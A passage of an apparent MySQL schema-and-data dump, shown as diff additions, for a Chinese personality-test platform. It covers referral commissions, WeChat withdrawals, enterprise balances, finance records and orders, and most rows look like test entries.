NULL, 88, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (5, 6, NULL, 0.00, 1.00, 'paid', 1773047081, 1773047081, 1773047081, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 89, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (6, 6, NULL, 0.00, 1.00, 'paid', 1773047135, 1773047135, 1773047135, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 90, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (7, 6, NULL, 0.00, 1.00, 'paid', 1773047512, 1773047512, 1773047512, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 92, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (8, 6, NULL, 0.00, 1.00, 'paid', 1773109282, 1773109282, 1773109282, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 93, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (9, 6, NULL, 0.00, 1.00, 'paid', 1773109762, 1773109762, 1773109762, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 94, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (10, 6, NULL, 0.00, 1.00, 'paid', 1773131848, 1773131848, 1773131848, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 102, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (11, 6, NULL, 0.00, 1.00, 'paid', 1773132145, 1773132145, 1773132145, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 103, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (12, 6, NULL, 0.00, 1.00, 'paid', 1773132630, 1773132630, 1773132630, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 104, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (13, 6, NULL, 0.00, 1.00, 'paid', 1773197745, 1773197745, 1773197745, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 108, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (14, 6, NULL, 0.00, 1.00, 'paid', 1773214232, 1773214232, 1773214232, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 109, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (15, 6, NULL, 0.00, 1.00, 'paid', 1773214528, 1773214528, 1773214528, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 110, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (16, 6, NULL, 0.00, 1.00, 'paid', 1773216370, 1773216370, 1773216370, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 112, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (17, 6, NULL, 0.00, 1.00, 'paid', 1773216422, 1773216422, 1773216422, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 113, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (18, 12, NULL, 0.00, 0.01, 'paid', 1773218013, 1773218013, 1773218013, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 114, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (19, 12, NULL, 0.00, 0.01, 'paid', 1773218078, 1773218078, 1773218078, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 115, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (20, 12, NULL, 0.00, 0.01, 'paid', 1773218176, 1773218176, 1773218176, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 116, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (21, 6, NULL, 0.00, 1.00, 'paid', 1773218291, 1773218291, 1773218291, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 117, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (22, 12, NULL, 0.00, 0.01, 'paid', 1773218860, 1773218860, 1773218860, 'personal', NULL, 12, 29, 6, 0, 1, NULL, NULL, 118, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (23, 6, NULL, 0.00, 1.00, 'paid', 1773219018, 1773219018, 1773219018, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 119, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (24, 12, NULL, 0.00, 0.01, 'paid', 1773219347, 1773219347, 1773219347, 'personal', NULL, 12, 29, 6, 0, 1, NULL, NULL, 120, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (25, 12, NULL, 0.00, 0.01, 'paid', 1773219366, 1773219366, 1773219366, 'personal', NULL, 12, 31, 7, 0, 1, NULL, NULL, 121, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (26, 6, NULL, 0.00, 1.00, 'paid', 1773219370, 1773219370, 1773219370, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 122, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (27, 12, NULL, 0.00, 0.01, 'paid', 1773222595, 1773222595, 1773222595, 'personal', NULL, 12, 32, 8, 0, 1, NULL, NULL, 123, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (28, 12, NULL, 0.00, 0.01, 'paid', 1773227480, 1773227480, 1773227480, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 124, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (29, 34, NULL, 0.00, 0.01, 'paid', 1773227875, 1773227875, 1773227875, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 125, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (30, 12, NULL, 0.00, 0.01, 'paid', 1773228411, 1773228411, 1773228411, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 128, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (31, 12, NULL, 0.00, 0.01, 'paid', 1773228469, 1773228469, 1773228469, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 129, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (32, 34, NULL, 0.00, 0.01, 'paid', 1773228478, 1773228478, 1773228478, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 130, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (33, 12, NULL, 0.00, 0.01, 'paid', 1773228716, 1773228716, 1773228716, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 131, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (34, 34, NULL, 0.00, 0.01, 'paid', 1773228717, 1773228717, 1773228717, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 132, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (35, 12, NULL, 0.00, 0.01, 'paid', 1773228789, 1773228789, 1773228789, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 133, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (36, 12, NULL, 0.00, 0.01, 'paid', 1773228837, 1773228837, 1773228837, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 134, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (37, 12, NULL, 0.00, 0.01, 'paid', 1773229546, 1773229546, 1773229546, 'personal', NULL, 12, 36, 11, 0, 1, NULL, NULL, 135, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (38, 6, NULL, 0.00, 1.00, 'paid', 1773279222, 1773279222, 1773279222, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 138, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (39, 6, NULL, 0.00, 1.00, 'paid', 1773279937, 1773279937, 1773279937, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 139, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (40, 6, NULL, 0.00, 1.00, 'paid', 1773279975, 1773279975, 1773279975, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 140, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (41, 6, NULL, 0.00, 1.00, 'paid', 1773280023, 1773280023, 1773280023, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 141, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (42, 6, NULL, 0.00, 1.00, 'paid', 1773280177, 1773280177, 1773280177, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 142, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (43, 6, NULL, 0.00, 1.00, 'paid', 1773280251, 1773280251, 1773280251, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 143, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (44, 6, NULL, 0.00, 1.00, 'paid', 1773285873, 1773285873, 1773285873, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 144, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (45, 6, NULL, 0.00, 1.00, 'paid', 1773286899, 1773286899, 1773286899, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 145, 'test_completion'); + +-- ---------------------------- +-- Table structure for mbti_distribution_agents +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_agents`; +CREATE TABLE `mbti_distribution_agents` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '分销商ID', + `userId` int(11) NOT NULL COMMENT '用户ID', + `agentName` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '分销商名称', + `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', + `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', + `totalOrders` int(11) NULL DEFAULT 0 COMMENT '总订单数', + `totalCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '总佣金', + `availableCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '可提现佣金', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销商表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_distribution_bindings +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_bindings`; +CREATE TABLE `mbti_distribution_bindings` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', + `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', + `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', + `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', + `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden', + `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID', + `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_invitee_scope_ent`(`inviteeId`, `scope`, `enterpriseId`) USING BTREE, + INDEX `idx_inviterId`(`inviterId`) USING BTREE, + INDEX `idx_inviteeId`(`inviteeId`) USING BTREE, + INDEX `idx_prevInviterId`(`prevInviterId`) USING BTREE, + INDEX `idx_expireAt`(`expireAt`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销绑定记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_distribution_bindings +-- ---------------------------- +INSERT INTO `mbti_distribution_bindings` VALUES (1, 6, 1, 'personal', 6, 1775273468, 'active', NULL, NULL, 1772681468, 1772681468); +INSERT INTO `mbti_distribution_bindings` VALUES (2, 6, 1, 'personal', NULL, 1775629026, 'active', NULL, NULL, 1773025578, 1773037026); +INSERT INTO `mbti_distribution_bindings` VALUES (3, 24, 12, 'personal', NULL, 1775653348, 'active', NULL, NULL, 1773061348, 1773061348); +INSERT INTO `mbti_distribution_bindings` VALUES (4, 12, 27, 'personal', NULL, 1775809886, 'active', NULL, NULL, 1773217886, 1773217886); +INSERT INTO `mbti_distribution_bindings` VALUES (5, 12, 28, 'personal', NULL, 1775809917, 'active', NULL, NULL, 1773217917, 1773217917); +INSERT INTO `mbti_distribution_bindings` VALUES (6, 12, 29, 'personal', NULL, 1775811258, 'active', NULL, NULL, 1773218797, 1773219258); +INSERT INTO `mbti_distribution_bindings` VALUES (7, 12, 31, 'personal', NULL, 1775811310, 'active', NULL, NULL, 1773219310, 1773219310); +INSERT INTO `mbti_distribution_bindings` VALUES (8, 12, 32, 'personal', NULL, 1775814524, 'active', NULL, NULL, 1773222524, 1773222524); +INSERT INTO `mbti_distribution_bindings` VALUES (9, 12, 33, 'personal', NULL, 1775820674, 'active', NULL, NULL, 1773227436, 1773228674); +INSERT INTO `mbti_distribution_bindings` VALUES (10, 34, 35, 'personal', NULL, 1775819750, 'active', NULL, NULL, 1773227750, 1773227750); +INSERT INTO `mbti_distribution_bindings` VALUES (11, 12, 36, 'personal', NULL, 1775821479, 'active', NULL, NULL, 1773229479, 1773229479); + +-- ---------------------------- +-- Table structure for mbti_distribution_withdrawals +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_withdrawals`; +CREATE TABLE `mbti_distribution_withdrawals` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', + `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', + `feeFen` int(11) NOT NULL DEFAULT 0 COMMENT '手续费(分)', + `realNameInfo` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '收款实名信息 JSON', + `status` tinyint(1) NOT NULL DEFAULT 0 COMMENT '0审核中,1已驳回,2待收款,3已收款,4已过期', + `auditNote` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '审核备注', + `auditAt` int(11) NULL DEFAULT NULL COMMENT '审核时间', + `transferAt` int(11) NULL DEFAULT NULL COMMENT '打款时间', + `createdAt` int(11) NULL DEFAULT NULL, + `updatedAt` int(11) NULL DEFAULT NULL, + `pay_type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'wechat' COMMENT '支付方式(wechat=微信支付,offline=线下)', + `out_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商户明细单号(TX+id)', + `transfer_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账单号', + `wechat_pay_state` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账状态(SUCCESS/PROCESSING/FAIL 等)', + `transfer_scene_id` varchar(36) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT '1005' COMMENT '转账场景ID', + `mch_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '付款商户号', + `package_info` text CHARACTER SET utf8 COLLATE utf8_general_ci NULL COMMENT '微信支付package信息(用于调起用户确认收款)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_out_bill_no`(`out_bill_no`) USING BTREE, + INDEX `idx_transfer_bill_no`(`transfer_bill_no`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销提现记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_distribution_withdrawals +-- ---------------------------- +INSERT INTO `mbti_distribution_withdrawals` VALUES (1, 1, 100, 0, NULL, 0, NULL, NULL, NULL, 1773288337, 1773288337, 'wechat', NULL, NULL, NULL, '1005', NULL, NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (2, 1, 500, 0, NULL, 1, '资料不完整', 1773298296, NULL, 1773295496, 1773298296, 'wechat', NULL, NULL, 'FAIL', '1005', '1318592501', NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (3, 1, 1200, 0, NULL, 4, '超时未确认收款', 1773298593, NULL, 1773298579, 1773298593, 'wechat', 'TX202603121600000003', '1330000114850082603120000000000003', 'WAIT_USER_CONFIRM', '1005', '1318592501', NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (4, 1, 100, 0, NULL, 2, NULL, 1773303989, NULL, 1773298605, 1773303989, 'wechat', 'TX2026031216262934524', '1330000114850082603120066922420635', 'WAIT_USER_CONFIRM', '1005', '1318592501', NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (5, 1, 300, 0, NULL, 3, NULL, 1773304691, 1773304699, 1773304687, 1773304699, 'wechat', 'TX2026031216381141445', '1330000114850082603120092315376583', 'SUCCESS', '1005', '1318592501', NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (6, 1, 100, 0, NULL, 2, NULL, 1773304830, NULL, 1773304826, 1773304830, 'wechat', 'TX2026031216403070486', '1330000114850082603120032556470199', 'WAIT_USER_CONFIRM', '1005', '1318592501', 'ABBQO+oYAAABAAAAAADBguuPky1AJvR8/3uyaRAAAADnGpepZahT9IkJjn90+1qgn4+p5lA8HVsWJ6K15wGB4z4GGToX0vW7d4gtrpRhn/W4mUaTV+62hOw+Ts5po3kL/Sa/cGuVBIY0Zqi/L+oS9v+k3pU='); + +-- ---------------------------- +-- Table structure for mbti_enterprises +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_enterprises`; +CREATE TABLE `mbti_enterprises` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '企业ID', + `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '企业名称', + `code` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '企业代码', + `contactName` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系人姓名', + `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', + `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', + `balance` int(11) NULL DEFAULT 0 COMMENT '余额', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'operating' COMMENT '状态:operating运营中/trial试用/disabled已停用', + `trialExpireAt` int(11) NULL DEFAULT NULL COMMENT '试用到期时间(时间戳,仅当status为trial时有效)', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_code`(`code`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_enterprises +-- ---------------------------- +INSERT INTO `mbti_enterprises` VALUES (5, '存客宝', '3213213424234234', '存客宝', '18888888888', 'ckb@qq.com', 100000, 'operating', NULL, NULL, 1770878340, 1770879288); +INSERT INTO `mbti_enterprises` VALUES (6, '测试', '', '测试', '', '', 97507, 'operating', NULL, NULL, 1772174277, 1773286899); + +-- ---------------------------- +-- Table structure for mbti_finance_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_finance_records`; +CREATE TABLE `mbti_finance_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '类型:recharge/consume/refund', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)', + `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)', + `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 31 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '财务记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_finance_records +-- ---------------------------- +INSERT INTO `mbti_finance_records` VALUES (1, 6, 'recharge', 100, 100000, 100100, '企业后台充值', NULL, 1773042479); +INSERT INTO `mbti_finance_records` VALUES (2, 6, 'recharge', 2, 100100, 100102, '企业余额充值', 78, 1773043904); +INSERT INTO `mbti_finance_records` VALUES (3, 6, 'consume', 100, 100102, 100002, '佣金支出:测试完成分销', NULL, 1773043973); +INSERT INTO `mbti_finance_records` VALUES (4, 6, 'consume', 100, 100002, 99902, '佣金支出:用户wong测试DISC完成分销', NULL, 1773044496); +INSERT INTO `mbti_finance_records` VALUES (5, 6, 'consume', 100, 99902, 99802, '佣金支出:用户wong测试MBTI完成分销', NULL, 1773047081); +INSERT INTO `mbti_finance_records` VALUES (6, 6, 'consume', 100, 99802, 99702, '佣金支出:用户wong测试PDP完成分销', NULL, 1773047135); +INSERT INTO `mbti_finance_records` VALUES (7, 6, 'consume', 100, 99702, 99602, '佣金支出:用户wong测试人脸完成分销', NULL, 1773047512); +INSERT INTO `mbti_finance_records` VALUES (8, 6, 'recharge', 5, 99602, 99607, '企业余额充值', 79, 1773048748); +INSERT INTO `mbti_finance_records` VALUES (9, 6, 'consume', 100, 99607, 99507, '佣金支出:用户wong测试人脸完成分销', NULL, 1773109282); +INSERT INTO `mbti_finance_records` VALUES (10, 6, 'consume', 100, 99507, 99407, '佣金支出:用户wong测试人脸完成分销', NULL, 1773109762); +INSERT INTO `mbti_finance_records` VALUES (11, 6, 'consume', 100, 99407, 99307, '佣金支出:用户wong测试DISC完成分销', NULL, 1773131848); +INSERT INTO `mbti_finance_records` VALUES (12, 6, 'consume', 100, 99307, 99207, '佣金支出:用户wong测试DISC完成分销', NULL, 1773132145); +INSERT INTO `mbti_finance_records` VALUES (13, 6, 'consume', 100, 99207, 99107, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773132630); +INSERT INTO `mbti_finance_records` VALUES (14, 6, 'consume', 100, 99107, 99007, '佣金支出:用户wong测试人脸完成分销', NULL, 1773197745); +INSERT INTO `mbti_finance_records` VALUES (15, 6, 'consume', 100, 99007, 98907, '佣金支出:用户wong测试人脸完成分销', NULL, 1773214232); +INSERT INTO `mbti_finance_records` VALUES (16, 6, 'consume', 100, 98907, 98807, '佣金支出:用户wong测试人脸完成分销', NULL, 1773214528); +INSERT INTO `mbti_finance_records` VALUES (18, 6, 'consume', 100, 98807, 98707, '佣金支出:用户wong测试人脸完成分销', NULL, 1773216370); +INSERT INTO `mbti_finance_records` VALUES (19, 6, 'consume', 100, 98707, 98607, '佣金支出:用户wong测试人脸完成分销', NULL, 1773216422); +INSERT INTO `mbti_finance_records` VALUES (20, 6, 'consume', 100, 98607, 98507, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773218291); +INSERT INTO `mbti_finance_records` VALUES (21, 6, 'consume', 100, 98507, 98407, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773219018); +INSERT INTO `mbti_finance_records` VALUES (22, 6, 'consume', 100, 98407, 98307, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773219370); +INSERT INTO `mbti_finance_records` VALUES (23, 6, 'consume', 100, 98307, 98207, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773279222); +INSERT INTO `mbti_finance_records` VALUES (24, 6, 'consume', 100, 98207, 98107, '佣金支出:用户wong测试人脸完成分销', NULL, 1773279937); +INSERT INTO `mbti_finance_records` VALUES (25, 6, 'consume', 100, 98107, 98007, '佣金支出:用户wong测试人脸完成分销', NULL, 1773279975); +INSERT INTO `mbti_finance_records` VALUES (26, 6, 'consume', 100, 98007, 97907, '佣金支出:用户wong测试人脸完成分销', NULL, 1773280023); +INSERT INTO `mbti_finance_records` VALUES (27, 6, 'consume', 100, 97907, 97807, '佣金支出:用户wong测试人脸完成分销', NULL, 1773280177); +INSERT INTO `mbti_finance_records` VALUES (28, 6, 'consume', 100, 97807, 97707, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773280251); +INSERT INTO `mbti_finance_records` VALUES (29, 6, 'consume', 100, 97707, 97607, '佣金支出:用户wong测试人脸完成分销', NULL, 1773285873); +INSERT INTO `mbti_finance_records` VALUES (30, 6, 'consume', 100, 97607, 97507, '佣金支出:用户wong测试人脸完成分销', NULL, 1773286899); + +-- ---------------------------- +-- Table structure for mbti_orders +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_orders`; +CREATE TABLE `mbti_orders` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '订单ID', + `orderNo` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '订单号', + `userId` int(11) NOT NULL COMMENT '用户ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `productType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '产品类型:face/mbti/disc/pdp/report', + `productTitle` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商品标题(如个人深度洞察测试版、AI人脸完整报告)', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'pending' COMMENT '状态:pending/paid/completed/cancelled', + `payMethod` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '支付方式', + `payTime` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', + `wechatTransactionId` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信支付订单号(transaction_id)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `orderNo`(`orderNo`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_productType`(`productType`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 84 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '订单表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_orders +-- ---------------------------- +INSERT INTO `mbti_orders` VALUES (1, 'PRICING_FACE_1772089133925_w3vbrw21y', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772089134, 1772089134); +INSERT INTO `mbti_orders` VALUES (2, 'PRICING_FACE_1772090075546_356dgx1p5', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090076, 1772090076); +INSERT INTO `mbti_orders` VALUES (3, 'PRICING_FACE_1772090114882_0ls0o4pi7', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090115, 1772090115); +INSERT INTO `mbti_orders` VALUES (4, 'PRICING_FACE_1772090190409_iqmo3j1pe', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090190, 1772090190); +INSERT INTO `mbti_orders` VALUES (5, 'PRICING_FACE_1772090275759_jyi8mv35p', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090276, 1772090276); +INSERT INTO `mbti_orders` VALUES (6, 'FACE20260226152307073', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090588, 1772090588); +INSERT INTO `mbti_orders` VALUES (7, 